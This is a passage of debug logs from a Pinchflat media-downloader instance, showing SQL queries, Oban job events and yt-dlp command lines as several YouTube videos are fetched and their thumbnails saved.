m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [75, 77] 22:17:20.264 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [77] 22:17:20.264 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [77] 22:17:20.264 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:20.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.264 [debug] Running yt-dlp command for action: get_downloadable_status 22:17:20.265 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.265 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.265 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.265 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c5/10/c510d8529ba14ab0496dc1fdf2a5b70c7c5e76d7f2efb4c0444b378833ff6960.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:17:22.453 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c5/10/c510d8529ba14ab0496dc1fdf2a5b70c7c5e76d7f2efb4c0444b378833ff6960.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:17:22.453 [debug] Running yt-dlp command for action: download 22:17:22.453 [debug] QUERY OK source="settings" db=0.1ms idle=391.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.453 [debug] QUERY OK source="settings" db=0.0ms idle=391.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.453 [debug] QUERY OK source="settings" db=0.0ms idle=391.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.454 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=5diMuiDQ2Wo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0d/31/0d3157cde62c416b861d3e8f3993f9393dd1e082c64a688aa620fbf5d0f9e6f2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:17:28.861 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:58.862 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.655 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:06.070 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/4a/fb/4afbc966eb7b71db01a572c03086a52707745121a9b29155b3e648987b6a0989.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:18:06.083 [debug] Running yt-dlp command for action: download_thumbnail 22:18:06.083 [debug] QUERY OK source="settings" db=0.1ms idle=618.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:06.084 [debug] QUERY OK source="settings" db=0.0ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:06.084 [debug] QUERY OK source="settings" db=0.0ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:06.084 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/75/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c3/cf/c3cf0910edd52f1720dff1b8329b547c97d8dba81c876357ae4361ddceda81e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:18:10.064 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/75/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c3/cf/c3cf0910edd52f1720dff1b8329b547c97d8dba81c876357ae4361ddceda81e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:18:10.064 [debug] QUERY OK db=0.0ms idle=591.2ms begin [] 22:18:10.064 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:18:06Z], "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", ~U[2026-03-28 02:18:10Z], 75] 22:18:10.065 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/75/metadata.json.gz", "/config/metadata/media_items/75/thumbnail.jpg", 75, ~U[2026-03-28 02:18:10Z], ~U[2026-03-28 02:18:10Z]] 22:18:10.065 [debug] QUERY OK db=0.0ms commit [] 22:18:10.066 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [608571032, ~U[2026-03-28 02:18:10Z], 75] 22:18:10.066 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:18:10.066 [info] {"args":{"id":75},"id":80,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":190488983,"event":"job:stop","queue_time":5175577342,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:18:10.067 [debug] QUERY OK source="tasks" db=0.2ms idle=4.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:18:10.067 [debug] QUERY OK source="tasks" db=0.3ms idle=4.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:18:10.067 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 22:18:10.067 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 22:18:10.072 [info] {"args":{"id":78},"id":83,"meta":{},"system_time":1774664290072568701,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:18:10.072 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [78] 22:18:10.073 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:18:10.073 [debug] QUERY OK source="tasks" db=0.4ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:18:10.073 [debug] QUERY OK source="tasks" db=0.4ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:18:10.073 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:18:10.073 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [77, 78] 22:18:10.073 [debug] QUERY OK source="media_items" db=0.3ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [77, 78] 22:18:10.073 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:10.074 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [78] 22:18:10.074 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [78] 22:18:10.074 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:10.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:10.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:10.074 [debug] Running yt-dlp command for action: get_downloadable_status 22:18:10.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:10.074 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:10.075 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:10.075 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/7a/6f7a818503b666c2d31fba92204cc8ddba1cf431aade8e6da50ae276f89cb97c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:18:13.025 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6f/7a/6f7a818503b666c2d31fba92204cc8ddba1cf431aade8e6da50ae276f89cb97c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:18:13.025 [debug] Running yt-dlp command for action: download 22:18:13.025 [debug] QUERY OK source="settings" db=0.2ms idle=962.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:13.025 [debug] QUERY OK source="settings" db=0.0ms idle=963.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:13.026 [debug] QUERY OK source="settings" db=0.0ms idle=963.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:13.026 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=oaOG1xOk7XY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f2/0a/f20a6fee1c47281d445e6a49e6157f1bc586d3db0ebbdf04f3b8ee746bbf32b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:18:28.864 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:58.866 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.656 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:19.557 [info] GET /sources 22:19:19.557 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:19.558 [debug] QUERY OK source="settings" db=0.3ms idle=1495.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.558 [debug] QUERY OK source="settings" db=0.1ms idle=1496.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.559 [debug] QUERY OK source="settings" db=0.2ms idle=1496.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.560 [debug] QUERY OK source="settings" db=0.1ms idle=1497.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.560 [debug] QUERY OK source="settings" db=0.1ms idle=961.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:19.561 [debug] QUERY OK source="sources" db=0.9ms idle=2.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT 